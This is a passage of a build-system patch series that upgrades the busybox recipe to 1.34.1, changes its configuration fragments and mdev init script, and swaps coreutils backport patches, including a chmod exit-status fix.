-# CONFIG_VLOCK is not set
+CONFIG_SULOGIN=y
+CONFIG_VLOCK=y
#
# Linux Ext2 FS Progs
@@ -585,8 +593,8 @@ CONFIG_DEFAULT_DEPMOD_FILE="modules.dep"
# CONFIG_ACPID is not set
# CONFIG_FEATURE_ACPID_COMPAT is not set
# CONFIG_BLKDISCARD is not set
-# CONFIG_BLKID is not set
-# CONFIG_FEATURE_BLKID_TYPE is not set
+CONFIG_BLKID=y
+CONFIG_FEATURE_BLKID_TYPE=y
# CONFIG_BLOCKDEV is not set
# CONFIG_CAL is not set
# CONFIG_CHRT is not set
@@ -616,10 +624,9 @@ CONFIG_FLOCK=y
# CONFIG_FSCK_MINIX is not set
# CONFIG_FSFREEZE is not set
CONFIG_FSTRIM=y
-# CONFIG_GETOPT is not set
-# CONFIG_FEATURE_GETOPT_LONG is not set
+CONFIG_GETOPT=y
+CONFIG_FEATURE_GETOPT_LONG=y
CONFIG_HEXDUMP=y
-# CONFIG_FEATURE_HEXDUMP_REVERSE is not set
# CONFIG_HD is not set
# CONFIG_XXD is not set
CONFIG_HWCLOCK=y
@@ -638,6 +645,7 @@ CONFIG_LOSETUP=y
# CONFIG_FEATURE_MDEV_RENAME_REGEXP is not set
# CONFIG_FEATURE_MDEV_EXEC is not set
# CONFIG_FEATURE_MDEV_LOAD_FIRMWARE is not set
+# CONFIG_FEATURE_MDEV_DAEMON is not set
CONFIG_MESG=y
# CONFIG_FEATURE_MESG_ENABLE_ONLY_GROUP is not set
# CONFIG_MKE2FS is not set
@@ -654,7 +662,7 @@ CONFIG_MOUNT=y
# CONFIG_FEATURE_MOUNT_FAKE is not set
# CONFIG_FEATURE_MOUNT_VERBOSE is not set
# CONFIG_FEATURE_MOUNT_HELPERS is not set
-# CONFIG_FEATURE_MOUNT_LABEL is not set
+CONFIG_FEATURE_MOUNT_LABEL=y
# CONFIG_FEATURE_MOUNT_NFS is not set
# CONFIG_FEATURE_MOUNT_CIFS is not set
CONFIG_FEATURE_MOUNT_FLAGS=y
@@ -669,7 +677,7 @@ CONFIG_RDATE=y
# CONFIG_RDEV is not set
# CONFIG_READPROFILE is not set
CONFIG_RENICE=y
-# CONFIG_REV is not set
+CONFIG_REV=y
# CONFIG_RTCWAKE is not set
# CONFIG_SCRIPT is not set
# CONFIG_SCRIPTREPLAY is not set
@@ -689,6 +697,7 @@ CONFIG_SWAPOFF=y
CONFIG_SWITCH_ROOT=y
# CONFIG_TASKSET is not set
# CONFIG_FEATURE_TASKSET_FANCY is not set
+# CONFIG_FEATURE_TASKSET_CPULIST is not set
# CONFIG_UEVENT is not set
CONFIG_UMOUNT=y
CONFIG_FEATURE_UMOUNT_ALL=y
@@ -701,18 +710,19 @@ CONFIG_FEATURE_UMOUNT_ALL=y
CONFIG_FEATURE_MOUNT_LOOP=y
CONFIG_FEATURE_MOUNT_LOOP_CREATE=y
# CONFIG_FEATURE_MTAB_SUPPORT is not set
-# CONFIG_VOLUMEID is not set
+CONFIG_VOLUMEID=y
#
# Filesystem/Volume identification
#
# CONFIG_FEATURE_VOLUMEID_BCACHE is not set
-# CONFIG_FEATURE_VOLUMEID_BTRFS is not set
+CONFIG_FEATURE_VOLUMEID_BTRFS=y
# CONFIG_FEATURE_VOLUMEID_CRAMFS is not set
+CONFIG_FEATURE_VOLUMEID_EROFS=y
# CONFIG_FEATURE_VOLUMEID_EXFAT is not set
-# CONFIG_FEATURE_VOLUMEID_EXT is not set
-# CONFIG_FEATURE_VOLUMEID_F2FS is not set
-# CONFIG_FEATURE_VOLUMEID_FAT is not set
+CONFIG_FEATURE_VOLUMEID_EXT=y
+CONFIG_FEATURE_VOLUMEID_F2FS=y
+CONFIG_FEATURE_VOLUMEID_FAT=y
# CONFIG_FEATURE_VOLUMEID_HFS is not set
# CONFIG_FEATURE_VOLUMEID_ISO9660 is not set
# CONFIG_FEATURE_VOLUMEID_JFS is not set
@@ -726,7 +736,7 @@ CONFIG_FEATURE_MOUNT_LOOP_CREATE=y
# CONFIG_FEATURE_VOLUMEID_OCFS2 is not set
# CONFIG_FEATURE_VOLUMEID_REISERFS is not set
# CONFIG_FEATURE_VOLUMEID_ROMFS is not set
-# CONFIG_FEATURE_VOLUMEID_SQUASHFS is not set
+CONFIG_FEATURE_VOLUMEID_SQUASHFS=y
# CONFIG_FEATURE_VOLUMEID_SYSV is not set
# CONFIG_FEATURE_VOLUMEID_UBIFS is not set
# CONFIG_FEATURE_VOLUMEID_UDF is not set
@@ -736,6 +746,7 @@ CONFIG_FEATURE_MOUNT_LOOP_CREATE=y
# Miscellaneous Utilities
#
# CONFIG_ADJTIMEX is not set
+CONFIG_ASCII=y
# CONFIG_BBCONFIG is not set
# CONFIG_FEATURE_COMPRESS_BBCONFIG is not set
# CONFIG_BC is not set
@@ -769,10 +780,10 @@ CONFIG_FEATURE_CROND_DIR=""
# CONFIG_FEATURE_DEVFS is not set
# CONFIG_DEVMEM is not set
# CONFIG_FBSPLASH is not set
-# CONFIG_FLASHCP is not set
# CONFIG_FLASH_ERASEALL is not set
# CONFIG_FLASH_LOCK is not set
# CONFIG_FLASH_UNLOCK is not set
+# CONFIG_FLASHCP is not set
# CONFIG_HDPARM is not set
# CONFIG_FEATURE_HDPARM_GET_IDENTITY is not set
# CONFIG_FEATURE_HDPARM_HDIO_SCAN_HWIF is not set
@@ -806,6 +817,7 @@ CONFIG_FEATURE_LESS_FLAGS=y
# CONFIG_FEATURE_MAKEDEVS_TABLE is not set
# CONFIG_MAN is not set
CONFIG_MICROCOM=y
+# CONFIG_MIM is not set
# CONFIG_MT is not set
# CONFIG_NANDWRITE is not set
# CONFIG_NANDDUMP is not set
@@ -819,16 +831,18 @@ CONFIG_RFKILL=y
# CONFIG_SETSERIAL is not set
CONFIG_STRINGS=y
CONFIG_TIME=y
+CONFIG_TS=y
# CONFIG_TTYSIZE is not set
-# CONFIG_UBIRENAME is not set
# CONFIG_UBIATTACH is not set
# CONFIG_UBIDETACH is not set
# CONFIG_UBIMKVOL is not set
# CONFIG_UBIRMVOL is not set
# CONFIG_UBIRSVOL is not set
# CONFIG_UBIUPDATEVOL is not set
+# CONFIG_UBIRENAME is not set
# CONFIG_VOLNAME is not set
# CONFIG_WATCHDOG is not set
+# CONFIG_FEATURE_WATCHDOG_OPEN_TWICE is not set
#
# Networking Utilities
@@ -866,6 +880,10 @@ CONFIG_DNSDOMAINNAME=y
# CONFIG_FEATURE_HTTPD_ERROR_PAGES is not set
# CONFIG_FEATURE_HTTPD_PROXY is not set
# CONFIG_FEATURE_HTTPD_GZIP is not set
+# CONFIG_FEATURE_HTTPD_ETAG is not set
+# CONFIG_FEATURE_HTTPD_LAST_MODIFIED is not set
+# CONFIG_FEATURE_HTTPD_DATE is not set
+# CONFIG_FEATURE_HTTPD_ACL_IP is not set
CONFIG_IFCONFIG=y
CONFIG_FEATURE_IFCONFIG_STATUS=y
# CONFIG_FEATURE_IFCONFIG_SLIP is not set
@@ -946,6 +964,7 @@ CONFIG_FEATURE_TELNET_WIDTH=y
# CONFIG_FEATURE_TELNETD_INETD_WAIT is not set
CONFIG_TFTP=y
# CONFIG_FEATURE_TFTP_PROGRESS_BAR is not set
+CONFIG_FEATURE_TFTP_HPA_COMPAT=y
# CONFIG_TFTPD is not set
CONFIG_FEATURE_TFTP_GET=y
CONFIG_FEATURE_TFTP_PUT=y
@@ -962,6 +981,7 @@ CONFIG_TRACEROUTE=y
CONFIG_WGET=y
CONFIG_FEATURE_WGET_LONG_OPTIONS=y
CONFIG_FEATURE_WGET_STATUSBAR=y
+CONFIG_FEATURE_WGET_FTP=y
CONFIG_FEATURE_WGET_AUTHENTICATION=y
CONFIG_FEATURE_WGET_TIMEOUT=y
CONFIG_FEATURE_WGET_HTTPS=y
@@ -990,6 +1010,7 @@ CONFIG_UDHCPC_DEFAULT_SCRIPT="/usr/share/udhcpc/default.script"
# CONFIG_FEATURE_UDHCP_PORT is not set
CONFIG_UDHCP_DEBUG=0
CONFIG_UDHCPC_SLACK_FOR_BUGGY_SERVERS=80
+CONFIG_FEATURE_UDHCP_RFC3397=y
# CONFIG_FEATURE_UDHCP_8021Q is not set
CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS="-R -b"
@@ -1023,7 +1044,7 @@ CONFIG_KILLALL=y
# CONFIG_LSOF is not set
# CONFIG_MPSTAT is not set
# CONFIG_NMETER is not set
-# CONFIG_PGREP is not set
+CONFIG_PGREP=y
# CONFIG_PKILL is not set
CONFIG_PIDOF=y
# CONFIG_FEATURE_PIDOF_SINGLE is not set
@@ -1093,6 +1114,7 @@ CONFIG_SH_IS_ASH=y
# CONFIG_BASH_IS_ASH is not set
# CONFIG_BASH_IS_HUSH is not set
CONFIG_BASH_IS_NONE=y
+CONFIG_SHELL_ASH=y
CONFIG_ASH=y
CONFIG_ASH_OPTIMIZE_FOR_SIZE=y
CONFIG_ASH_INTERNAL_GLOB=y
@@ -1113,6 +1135,7 @@ CONFIG_ASH_GETOPTS=y
CONFIG_ASH_CMDCMD=y
# CONFIG_CTTYHACK is not set
# CONFIG_HUSH is not set
+# CONFIG_SHELL_HUSH is not set
# CONFIG_HUSH_BASH_COMPAT is not set
# CONFIG_HUSH_BRACE_EXPANSION is not set
# CONFIG_HUSH_LINENO_VAR is not set
@@ -1154,6 +1177,7 @@ CONFIG_ASH_CMDCMD=y
#
CONFIG_FEATURE_SH_MATH=y
# CONFIG_FEATURE_SH_MATH_64 is not set
+CONFIG_FEATURE_SH_MATH_BASE=y
CONFIG_FEATURE_SH_EXTRA_QUIET=y
# CONFIG_FEATURE_SH_STANDALONE is not set
# CONFIG_FEATURE_SH_NOFORK is not set
@@ -1171,14 +1195,15 @@ CONFIG_KLOGD=y
#
CONFIG_FEATURE_KLOGD_KLOGCTL=y
CONFIG_LOGGER=y
-# CONFIG_LOGREAD is not set
-# CONFIG_FEATURE_LOGREAD_REDUCED_LOCKING is not set
-# CONFIG_SYSLOGD is not set
-# CONFIG_FEATURE_ROTATE_LOGFILE is not set
-# CONFIG_FEATURE_REMOTE_LOG is not set
-# CONFIG_FEATURE_SYSLOGD_DUP is not set
-# CONFIG_FEATURE_SYSLOGD_CFG is not set
-CONFIG_FEATURE_SYSLOGD_READ_BUFFER_SIZE=0
-# CONFIG_FEATURE_IPC_SYSLOG is not set
-CONFIG_FEATURE_IPC_SYSLOG_BUFFER_SIZE=0
-# CONFIG_FEATURE_KMSG_SYSLOG is not set
+CONFIG_LOGREAD=y
+CONFIG_FEATURE_LOGREAD_REDUCED_LOCKING=y
+CONFIG_SYSLOGD=y
+CONFIG_FEATURE_ROTATE_LOGFILE=y
+CONFIG_FEATURE_REMOTE_LOG=y
+CONFIG_FEATURE_SYSLOGD_DUP=y
+CONFIG_FEATURE_SYSLOGD_CFG=y
+# CONFIG_FEATURE_SYSLOGD_PRECISE_TIMESTAMPS is not set
+CONFIG_FEATURE_SYSLOGD_READ_BUFFER_SIZE=256
+CONFIG_FEATURE_IPC_SYSLOG=y
+CONFIG_FEATURE_IPC_SYSLOG_BUFFER_SIZE=64
+CONFIG_FEATURE_KMSG_SYSLOG=y
diff --git a/meta/recipes-core/busybox/busybox/longopts.cfg b/meta/recipes-core/busybox/busybox/longopts.cfg
new file mode 100644
index 0000000000..dcfab99919
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox/longopts.cfg
@@ -0,0 +1,15 @@
+CONFIG_FEATURE_GUNZIP_LONG_OPTIONS=y
+CONFIG_FEATURE_GZIP_LONG_OPTIONS=y
+CONFIG_FEATURE_TAR_LONG_OPTIONS=y
+CONFIG_FEATURE_CHOWN_LONG_OPTIONS=y
+CONFIG_FEATURE_CP_LONG_OPTIONS=y
+CONFIG_FEATURE_INSTALL_LONG_OPTIONS=y
+CONFIG_FEATURE_SETCONSOLE_LONG_OPTIONS=y
+CONFIG_FEATURE_RUN_PARTS_LONG_OPTIONS=y
+CONFIG_FEATURE_START_STOP_DAEMON_LONG_OPTIONS=y
+CONFIG_FEATURE_DIFF_LONG_OPTIONS=y
+CONFIG_FEATURE_BC_LONG_OPTIONS=y
+CONFIG_FEATURE_FTPGETPUT_LONG_OPTIONS=y
+CONFIG_FEATURE_IPCALC_LONG_OPTIONS=y
+CONFIG_FEATURE_NSLOOKUP_LONG_OPTIONS=y
+CONFIG_FEATURE_WGET_LONG_OPTIONS=y
diff --git a/meta/recipes-core/busybox/busybox/mdev.cfg b/meta/recipes-core/busybox/busybox/mdev.cfg
index 6aefe90e43..143e6097cb 100644
--- a/meta/recipes-core/busybox/busybox/mdev.cfg
+++ b/meta/recipes-core/busybox/busybox/mdev.cfg
@@ -9,3 +9,5 @@ CONFIG_SETSID=y
CONFIG_CTTYHACK=y
CONFIG_FEATURE_SHADOWPASSWDS=y
+CONFIG_FEATURE_XARGS_SUPPORT_ZERO_TERM=y
+CONFIG_FEATURE_MDEV_DAEMON=y
diff --git a/meta/recipes-core/busybox/busybox/mount-via-label.cfg b/meta/recipes-core/busybox/busybox/mount-via-label.cfg
index 2fe7ab2e5f..5a285de7cd 100644
--- a/meta/recipes-core/busybox/busybox/mount-via-label.cfg
+++ b/meta/recipes-core/busybox/busybox/mount-via-label.cfg
@@ -1,9 +1,11 @@
CONFIG_BLKID=y
CONFIG_FEATURE_BLKID_TYPE=y
CONFIG_FEATURE_MOUNT_LABEL=y
+CONFIG_FEATURE_SWAPONOFF_LABEL=y
CONFIG_VOLUMEID=y
CONFIG_FEATURE_VOLUMEID_BTRFS=y
CONFIG_FEATURE_VOLUMEID_EXT=y
CONFIG_FEATURE_VOLUMEID_F2FS=y
CONFIG_FEATURE_VOLUMEID_FAT=y
CONFIG_FEATURE_VOLUMEID_SQUASHFS=y
+CONFIG_FEATURE_VOLUMEID_LINUXSWAP=y
diff --git a/meta/recipes-core/busybox/busybox_1.32.0.bb b/meta/recipes-core/busybox/busybox_1.32.0.bb
deleted file mode 100644
index 8e23b0d4a2..0000000000
--- a/meta/recipes-core/busybox/busybox_1.32.0.bb
+++ /dev/null
@@ -1,53 +0,0 @@
-require busybox.inc
-
-SRC_URI = "https://busybox.net/downloads/busybox-${PV}.tar.bz2;name=tarball \
- file://busybox-udhcpc-no_deconfig.patch \
- file://find-touchscreen.sh \
- file://busybox-cron \
- file://busybox-httpd \
- file://busybox-udhcpd \
- file://default.script \
- file://simple.script \
- file://hwclock.sh \
- file://syslog \
- file://syslog-startup.conf \
- file://syslog.conf \
- file://busybox-syslog.default \
- file://mdev \
- file://mdev.conf \
- file://mdev-mount.sh \
- file://defconfig \
- file://busybox-syslog.service.in \
- file://busybox-klogd.service.in \
- file://fail_on_no_media.patch \
- file://run-ptest \
- file://inetd.conf \
- file://inetd \
- file://login-utilities.cfg \
- file://recognize_connmand.patch \
- file://busybox-cross-menuconfig.patch \
- file://0001-Use-CC-when-linking-instead-of-LD-and-use-CFLAGS-and.patch \
- file://mount-via-label.cfg \
- file://sha1sum.cfg \
- file://sha256sum.cfg \
- file://getopts.cfg \
- file://resize.cfg \
- ${@["", "file://init.cfg"][(d.getVar('VIRTUAL-RUNTIME_init_manager') == 'busybox')]} \
- ${@["", "file://mdev.cfg"][(d.getVar('VIRTUAL-RUNTIME_dev_manager') == 'busybox-mdev')]} \
- file://syslog.cfg \
- file://unicode.cfg \
- file://rcS \
- file://rcK \
- file://makefile-libbb-race.patch \
- file://0001-testsuite-check-uudecode-before-using-it.patch \
- file://0001-testsuite-use-www.example.org-for-wget-test-cases.patch \
- file://0001-du-l-works-fix-to-use-145-instead-of-144.patch \
- file://0001-sysctl-ignore-EIO-of-stable_secret-below-proc-sys-ne.patch \
- file://0001-hwclock-make-glibc-2.31-compatible.patch \
- file://rev.cfg \
- file://pgrep.cfg \
-"
-SRC_URI_append_libc-musl = " file://musl.cfg "
-
-SRC_URI[tarball.md5sum] = "9576986f1a960da471d03b72a62f13c7"
-SRC_URI[tarball.sha256sum] = "c35d87f1d04b2b153d33c275c2632e40d388a88f19a9e71727e0bbbff51fe689"
diff --git a/meta/recipes-core/busybox/busybox_1.34.1.bb b/meta/recipes-core/busybox/busybox_1.34.1.bb
new file mode 100644
index 0000000000..3651c06126
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox_1.34.1.bb
@@ -0,0 +1,53 @@
+require busybox.inc
+
+SRC_URI = "https://busybox.net/downloads/busybox-${PV}.tar.bz2;name=tarball \
+ file://busybox-udhcpc-no_deconfig.patch \
+ file://find-touchscreen.sh \
+ file://busybox-cron \
+ file://busybox-httpd \
+ file://busybox-udhcpd \
+ file://default.script \
+ file://simple.script \
+ file://hwclock.sh \
+ file://syslog \
+ file://syslog-startup.conf \
+ file://syslog.conf \
+ file://busybox-syslog.default \
+ file://mdev \
+ file://mdev.conf \
+ file://mdev-mount.sh \
+ file://defconfig \
+ file://busybox-syslog.service.in \
+ file://busybox-klogd.service.in \
+ file://fail_on_no_media.patch \
+ file://run-ptest \
+ file://inetd.conf \
+ file://inetd \
+ file://login-utilities.cfg \
+ file://recognize_connmand.patch \
+ file://busybox-cross-menuconfig.patch \
+ file://mount-via-label.cfg \
+ file://sha1sum.cfg \
+ file://sha256sum.cfg \
+ file://getopts.cfg \
+ file://longopts.cfg \
+ file://resize.cfg \
+ ${@["", "file://init.cfg"][(d.getVar('VIRTUAL-RUNTIME_init_manager') == 'busybox')]} \
+ ${@["", "file://rcS.default"][(d.getVar('VIRTUAL-RUNTIME_init_manager') == 'busybox')]} \
+ ${@["", "file://mdev.cfg"][(d.getVar('VIRTUAL-RUNTIME_dev_manager') == 'busybox-mdev')]} \
+ file://syslog.cfg \
+ file://unicode.cfg \
+ file://rev.cfg \
+ file://pgrep.cfg \
+ file://rcS \
+ file://rcK \
+ file://makefile-libbb-race.patch \
+ file://0001-testsuite-check-uudecode-before-using-it.patch \
+ file://0001-testsuite-use-www.example.org-for-wget-test-cases.patch \
+ file://0001-du-l-works-fix-to-use-145-instead-of-144.patch \
+ file://0001-sysctl-ignore-EIO-of-stable_secret-below-proc-sys-ne.patch \
+ file://0001-mktemp-add-tmpdir-option.patch \
+ "
+SRC_URI:append:libc-musl = " file://musl.cfg "
+
+SRC_URI[tarball.sha256sum] = "415fbd89e5344c96acf449d94a6f956dbed62e18e835fc83e064db33a34bd549"
diff --git a/meta/recipes-core/busybox/files/mdev b/meta/recipes-core/busybox/files/mdev
index 8c9c06e96c..2fbdfb073e 100755
--- a/meta/recipes-core/busybox/files/mdev
+++ b/meta/recipes-core/busybox/files/mdev
@@ -1,21 +1,43 @@
#!/bin/sh
-mount -t proc proc /proc
-mount -t sysfs sysfs /sys
-mount -t tmpfs tmpfs /dev -o size=64k,mode=0755
-mkdir /dev/pts /dev/shm
-chmod 777 /dev/shm
-mount -t devpts devpts /dev/pts
-touch /dev/mdev.seq
-#sysctl -w kernel.hotplug=/sbin/mdev
-echo "/sbin/mdev" > /proc/sys/kernel/hotplug
-mdev -s
-
#
-# We might have mounted something over /dev, see if /dev/initctl is there.
+# Run the mdev daemon
#
-if test ! -p /dev/initctl
-then
- rm -f /dev/initctl
- mknod -m 600 /dev/initctl p
-fi
+
+DAEMON="mdev"
+PIDFILE="/var/run/$DAEMON.pid"
+
+
+start() {
+ echo -n "Starting $DAEMON... "
+ start-stop-daemon -S -b -m -p $PIDFILE -x /sbin/mdev -- -df
+ [ $? -eq 0 ] && echo "OK" || echo "ERROR"
+
+ # coldplug modules
+ find /sys/ -name modalias -print0 | \
+ xargs -0 sort -u | \
+ tr '\n' '\0' | \
+ xargs -0 modprobe -abq
+}
+
+stop() {
+ echo -n "Stopping $DAEMON... "
+ start-stop-daemon -K -p $PIDFILE
+ [ $? -eq 0 ] && echo "OK" || echo "ERROR"
+}
+
+restart() {
+ stop
+ start
+}
+
+case "$1" in
+ start|stop|restart)
+ "$1"
+ ;;
+ *)
+ echo "Usage: $0 {start|stop|restart}"
+ exit 1
+esac
+
+exit $?
diff --git a/meta/recipes-core/busybox/files/rcS.default b/meta/recipes-core/busybox/files/rcS.default
new file mode 100644
index 0000000000..44c9747e34
--- /dev/null
+++ b/meta/recipes-core/busybox/files/rcS.default
@@ -0,0 +1,31 @@
+#
+# Defaults for the boot scripts in /etc/rcS.d
+#
+
+# Time files in /tmp are kept in days.
+TMPTIME=0
+# Set to yes if you want sulogin to be spawned on bootup
+SULOGIN=no
+# Set to no if you want to be able to login over telnet/rlogin
+# before system startup is complete (as soon as inetd is started)
+DELAYLOGIN=no
+# Assume that the BIOS clock is set to UTC time (recommended)
+UTC=yes
+# Set VERBOSE to "no" if you would like a more quiet bootup.
+VERBOSE=no
+# Set EDITMOTD to "no" if you don't want /etc/motd to be edited automatically
+EDITMOTD=no
+# Whether to fsck root on boot
+ENABLE_ROOTFS_FSCK=no
+# Set FSCKFIX to "yes" if you want to add "-y" to the fsck at startup.
+FSCKFIX=yes
+# Set TICKADJ to the correct tick value for this specific machine
+#TICKADJ=10000
+# Enable caching in populate-volatile.sh
+VOLATILE_ENABLE_CACHE=yes
+# Indicate whether the rootfs is intended to be read-only or not.
+# Setting ROOTFS_READ_ONLY to yes and rebooting will give you a read-only rootfs.
+# Normally you should not change this value.
+ROOTFS_READ_ONLY=no
+# Indicate init system type
+INIT_SYSTEM=busybox
diff --git a/meta/recipes-core/coreutils/coreutils/0001-ls-restore-8.31-behavior-on-removed-directories.patch b/meta/recipes-core/coreutils/coreutils/0001-ls-restore-8.31-behavior-on-removed-directories.patch
deleted file mode 100644
index fa900e3a76..0000000000
--- a/meta/recipes-core/coreutils/coreutils/0001-ls-restore-8.31-behavior-on-removed-directories.patch
+++ /dev/null
@@ -1,99 +0,0 @@
-From 7c273e5c6041f8c70f73f5b280fbb8f27d9b5a36 Mon Sep 17 00:00:00 2001
-From: Paul Eggert <eggert@cs.ucla.edu>
-Date: Thu, 5 Mar 2020 17:25:29 -0800
-Subject: [PATCH] ls: restore 8.31 behavior on removed directories
-
-* NEWS: Mention this.
-* src/ls.c: Do not include <sys/sycall.h>
-(print_dir): Don't worry about whether the directory is removed.
-* tests/ls/removed-directory.sh: Adjust to match new (i.e., old)
-behavior.
-
-Upstream-Status: Backport [https://github.com/coreutils/coreutils/commit/10fcb97bd728f09d4a027eddf8ad2900f0819b0a]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/ls.c | 22 ----------------------
- tests/ls/removed-directory.sh | 10 ++--------
- 2 files changed, 2 insertions(+), 30 deletions(-)
-
-diff --git a/src/ls.c b/src/ls.c
-index 637fe7a..0111f49 100644
---- a/src/ls.c
-+++ b/src/ls.c
-@@ -49,10 +49,6 @@
- # include <sys/ptem.h>
- #endif
-
--#ifdef __linux__
--# include <sys/syscall.h>
--#endif
--
- #include <stdio.h>
- #include <assert.h>
- #include <setjmp.h>
-@@ -2895,7 +2891,6 @@ print_dir (char const *name, char const *realname, bool command_line_arg)
- struct dirent *next;
- uintmax_t total_blocks = 0;
- static bool first = true;
-- bool found_any_entries = false;
-
- errno = 0;
- dirp = opendir (name);
-@@ -2971,7 +2966,6 @@ print_dir (char const *name, char const *realname, bool command_line_arg)
- next = readdir (dirp);
- if (next)
- {
-- found_any_entries = true;
- if (! file_ignored (next->d_name))
- {
- enum filetype type = unknown;
-@@ -3017,22 +3011,6 @@ print_dir (char const *name, char const *realname, bool command_line_arg)
- if (errno != EOVERFLOW)
- break;
- }
--#ifdef __linux__
-- else if (! found_any_entries)
-- {
-- /* If readdir finds no directory entries at all, not even "." or
-- "..", then double check that the directory exists. */
-- if (syscall (SYS_getdents, dirfd (dirp), NULL, 0) == -1
-- && errno != EINVAL)
-- {
-- /* We exclude EINVAL as that pertains to buffer handling,
-- and we've passed NULL as the buffer for simplicity.
-- ENOENT is returned if appropriate before buffer handling. */
-- file_failure (command_line_arg, _("reading directory %s"), name);
-- }
-- break;
-- }
--#endif
- else
- break;
-
-diff --git a/tests/ls/removed-directory.sh b/tests/ls/removed-directory.sh
-index e8c835d..fe8f929 100755
---- a/tests/ls/removed-directory.sh
-+++ b/tests/ls/removed-directory.sh
-@@ -26,20 +26,14 @@ case $host_triplet in
- *) skip_ 'non linux kernel' ;;
- esac
-
--LS_FAILURE=2
--
--cat <<\EOF >exp-err || framework_failure_
--ls: reading directory '.': No such file or directory
--EOF
--
- cwd=$(pwd)
- mkdir d || framework_failure_
- cd d || framework_failure_
- rmdir ../d || framework_failure_
-
--returns_ $LS_FAILURE ls >../out 2>../err || fail=1
-+ls >../out 2>../err || fail=1
- cd "$cwd" || framework_failure_
- compare /dev/null out || fail=1
--compare exp-err err || fail=1
-+compare /dev/null err || fail=1
-
- Exit $fail
diff --git a/meta/recipes-core/coreutils/coreutils/disable-ls-output-quoting.patch b/meta/recipes-core/coreutils/coreutils/disable-ls-output-quoting.patch
deleted file mode 100644
index e68c213550..0000000000
--- a/meta/recipes-core/coreutils/coreutils/disable-ls-output-quoting.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-Subject: revert inconsistent ls quoting
-
-This is a revert of upstream commit 109b9220cead6e979d22d16327c4d9f8350431cc.
-
-Bug-Debian: https://bugs.debian.org/813164
-
-Upstream-Status: Submitted
-
-Originally-by: Adam Borowski <kilobyte@angband.pl>
-[PG: patch from https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=813164#78 ]
-Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
-
----
-
---- coreutils-8.25.orig/NEWS
-+++ coreutils-8.25/NEWS
-@@ -71,9 +71,6 @@ GNU coreutils NEWS
- df now prefers sources towards the root of a device when
- eliding duplicate bind mounted entries.
-
-- ls now quotes file names unambiguously and appropriate for use in a shell,
-- when outputting to a terminal.
--
- join, sort, uniq with --zero-terminated, now treat '\n' as a field delimiter.
-
- ** Improvements
---- coreutils-8.25.orig/doc/coreutils.texi
-+++ coreutils-8.25/doc/coreutils.texi
-@@ -7750,8 +7750,8 @@ this"} in the default C locale. This lo
-
- You can specify the default value of the @option{--quoting-style} option
- with the environment variable @env{QUOTING_STYLE}@. If that environment
--variable is not set, the default value is @samp{shell-escape} when the
--output is a terminal, and @samp{literal} otherwise.
-+variable is not set, the default value is @samp{literal}, but this
-+default may change to @samp{shell} in a future version of this package.
-
- @item --show-control-chars
- @opindex --show-control-chars
---- coreutils-8.25.orig/src/ls.c
-+++ coreutils-8.25/src/ls.c
-@@ -1581,7 +1581,6 @@ decode_switches (int argc, char **argv)
- if (isatty (STDOUT_FILENO))
- {
- format = many_per_line;
-- set_quoting_style (NULL, shell_escape_quoting_style);
- /* See description of qmark_funny_chars, above. */
- qmark_funny_chars = true;
- }
diff --git a/meta/recipes-core/coreutils/coreutils/e8b56ebd536e82b15542a00c888109471936bfda.patch b/meta/recipes-core/coreutils/coreutils/e8b56ebd536e82b15542a00c888109471936bfda.patch
new file mode 100644
index 0000000000..d69ee95e4a
--- /dev/null
+++ b/meta/recipes-core/coreutils/coreutils/e8b56ebd536e82b15542a00c888109471936bfda.patch
@@ -0,0 +1,93 @@
+From e8b56ebd536e82b15542a00c888109471936bfda Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?P=C3=A1draig=20Brady?= <P@draigBrady.com>
+Date: Fri, 24 Sep 2021 20:57:41 +0100
+Subject: [PATCH] chmod: fix exit status when ignoring symlinks
+
+* src/chmod.c: Reorder enum so CH_NOT_APPLIED
+can be treated as a non error.
+* tests/chmod/ignore-symlink.sh: A new test.
+* tests/local.mk: Reference the new test.
+* NEWS: Mention the bug fix.
+Fixes https://bugs.gnu.org/50784
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ src/chmod.c | 4 ++--
+ tests/chmod/ignore-symlink.sh | 31 +++++++++++++++++++++++++++++++
+ tests/local.mk | 1 +
+ 4 files changed, 40 insertions(+), 2 deletions(-)
+ create mode 100755 tests/chmod/ignore-symlink.sh
+
+diff --git a/src/chmod.c b/src/chmod.c
+index 37b04f500..57ac47f33 100644
+--- a/src/chmod.c
++++ b/src/chmod.c
+@@ -44,8 +44,8 @@ struct change_status
+ enum
+ {
+ CH_NO_STAT,
+- CH_NOT_APPLIED,
+ CH_FAILED,
++ CH_NOT_APPLIED,
+ CH_NO_CHANGE_REQUESTED,
+ CH_SUCCEEDED
+ }
+@@ -322,7 +322,7 @@ process_file (FTS *fts, FTSENT *ent)
+ if ( ! recurse)
+ fts_set (fts, ent, FTS_SKIP);
+
+- return CH_NO_CHANGE_REQUESTED <= ch.status;
++ return CH_NOT_APPLIED <= ch.status;
+ }
+
+ /* Recursively change the modes of the specified FILES (the last entry
+diff --git a/tests/chmod/ignore-symlink.sh b/tests/chmod/ignore-symlink.sh
+new file mode 100755
+index 000000000..5ce3de816
+--- /dev/null
++++ b/tests/chmod/ignore-symlink.sh
+@@ -0,0 +1,31 @@
++#!/bin/sh
++# Test for proper exit code of chmod on a processed symlink.
++
++# Copyright (C) 2021 Free Software Foundation, Inc.
++
++# This program is free software: you can redistribute it and/or modify
++# it under the terms of the GNU General Public License as published by
++# the Free Software Foundation, either version 3 of the License, or
++# (at your option) any later version.
++
++# This program is distributed in the hope that it will be useful,
++# but WITHOUT ANY WARRANTY; without even the implied warranty of
++# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++# GNU General Public License for more details.
++
++# You should have received a copy of the GNU General Public License
++# along with this program. If not, see <https://www.gnu.org/licenses/>.
++
++. "${srcdir=.}/tests/init.sh"; path_prepend_ ./src
++print_ver_ chmod
++
++mkdir dir || framework_failure_
++touch dir/f || framework_failure_
++ln -s f dir/l || framework_failure_
++
++# This operation ignores symlinks but should succeed.
++chmod u+w -R dir 2> out || fail=1
++
++compare /dev/null out || fail=1
++
++Exit $fail
+diff --git a/tests/local.mk b/tests/local.mk
